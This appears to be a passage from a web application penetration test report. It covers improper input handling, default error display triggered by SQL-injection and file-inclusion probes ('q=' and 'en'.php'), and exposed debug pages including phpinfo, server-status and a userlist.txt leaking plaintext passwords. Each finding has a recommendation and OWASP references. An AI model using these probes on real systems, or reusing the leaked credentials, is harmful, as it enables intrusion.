
Delivery Address: alert(1);America

EDIT PROFILE **CHANGE PASSWORD**

Business Impact(Low):

The data provided by the user ,if incorrect, is not a very big issue but still must be checked for proper validatory information.

Recommendation:

- 1) Implement all critical checks on server side code only
- 2)Client-side checks must be treated as decoratives only
- 3)All business logic must be implemented and checked on the server code. This includes user input, the flow of applications and even the URL/Modules a user is supposed to access or not

References:

- 1)<http://projects.webappsec.org/w/page/13246933/Improper%20Input%20Handling>
- 2)https://www.owasp.org/index.php/Unvalidated_Input

17) Default Error Display:

Default Error Display (Low)	<p>Below mentioned urls have default error displaying on fuzzing:</p> <p>Affected URL :</p> <ul style="list-style-type: none">• http://35.154.118.58/?includelang=lang/en.php <p>Payload</p> <ul style="list-style-type: none">• en'.php
	<p>Affected URL:</p> <ul style="list-style-type: none">• http://35.154.118.58/search/search.php <p>Parameter:</p> <ul style="list-style-type: none">• q(GET) <p>Payload</p> <ul style="list-style-type: none">• q='

Observation:

The default error with the path is displayed as:

Proof Of Concept(PoC):

When we give ' in the search option of the home page,we get the error as:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' at line 1

Business Impact(Moderate):

Although this vulnerability does not have a direct impact to users or the server, though it can help the attacker in mapping the server architecture and plan further attacks on the server.

Recommendation:

Do not display the default error messages because it not tells about the server but also sometimes about the location. So, whenever there is an error, send it to the same page or throw some manually written error.

https://www.owasp.org/index.php/Improper_Error_Handling

18. Default Debug Pages

Default Debug Pages (Low)	<p>Below mentioned urls have improper server side filter</p> <p>Affected URL :</p> <ul style="list-style-type: none">• http://35.154.118.58/ <p>Default pages available:</p> <ul style="list-style-type: none">• robots.txt• sever-status• phpinfo.php• userlist.txt
---------------------------	--

Proof Of Concept(PoC):

When we entered robots.txt at the end of the index page URL,we got:

```
User-Agent: *
Disallow: /static/images/
Disallow: /ovidentiaCMS
```

Proof Of Concept(PoC):

When we entered phpinfo.php at the end ,we got:

The screenshot shows a web browser displaying the PHP info page at `13.232.3.95/phpinfo.php`. The page is titled "calendar" and contains configuration details for the "cgi-fcgi" and "Core" modules.

calendar

Calendar support	enabled
------------------	---------

cgi-fcgi

php-fpm	active	
Directive	Local Value	Master Value
<code>cgi.discard_path</code>	0	0
<code>cgi.fix_pathinfo</code>	1	1
<code>cgi.force_redirect</code>	1	1
<code>cgi.nph</code>	0	0
<code>cgi.redirect_status_env</code>	<i>no value</i>	<i>no value</i>
<code>cgi.rfc2616_headers</code>	0	0
<code>fastcgi.error_header</code>	<i>no value</i>	<i>no value</i>
<code>fastcgi.logging</code>	1	1
<code>fpm.config</code>	<i>no value</i>	<i>no value</i>

Core

PHP Version	5.6.39-1+ubuntu18.04.1+deb.sury.org+1	
Directive	Local Value	Master Value
<code>allow_url_fopen</code>	On	On
<code>allow_url_include</code>	Off	Off
<code>always_populate_raw_post_data</code>	0	0
<code>arg_separator.input</code>	&	&

Proof Of Concept(PoC):

When we entered server-info at the end of index URL:

13.232.3.95/server-status/

Apache Server Status for localhost (via 127.0.0.1)

Server Version: Apache/2.4.18 (Ubuntu)
Server MPM: event
Server Built: 2018-06-07T19:43:03

Current Time: Monday, 05-Nov-2018 14:46:35 IST
Restart Time: Monday, 05-Nov-2018 09:14:47 IST
Parent Server Config. Generation: 1
Parent Server MPM Generation: 0
Server uptime: 5 hours 31 minutes 47 seconds
Server load: 1.34 1.26 1.06
Total accesses: 35 - Total Traffic: 97 kB
CPU Usage: u8.1 s11.23 cu0 cs0 - .0971% CPU load
.00176 requests/sec - 4 B/second - 2837 B/request
1 requests currently being processed, 49 idle workers

PID	Connections		Threads		Async connections		
	total	accepting	busy	idle	writing	keep-alive	closing
1709	0	yes	0	25	0	0	0
1710	1	yes	1	24	0	1	0
Sum	1		1	49	0	1	0

Scoreboard Key:
" " Waiting for Connection, "s" Starting up, "R" Reading Request,
"W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
"C" Closing connection, "L" Logging, "G" Gracefully finishing,
"I" Idle cleanup of worker, "O" Open slot with no current process

Srv	PID	Acc	M	CPU	SS	Req	Conn	Child	Slot	Client	VHost	Request
-----	-----	-----	---	-----	----	-----	------	-------	------	--------	-------	---------

Proof Of Concept(PoC):

When we typed and entered userlist.txt at the end:

A terminal window with a dark background and light-colored text. The window has a header bar with icons for back, forward, copy, and paste, and a status bar showing the IP address 13.232.3.95 and the path /userlist.txt. The main area of the terminal displays three lines of text representing user entries:

```
Radhika:Radhika123:6
Nandan:Nandan123:7
chandan:chandan123:4
```

Business Impact – Moderate

Although this vulnerability does not have a direct impact to users or the server, though it can help the attacker in mapping the server architecture and plan further attacks on the server

Recommendation:

Take the following precautions:

- Disable all default pages and folders including server-status and server-info
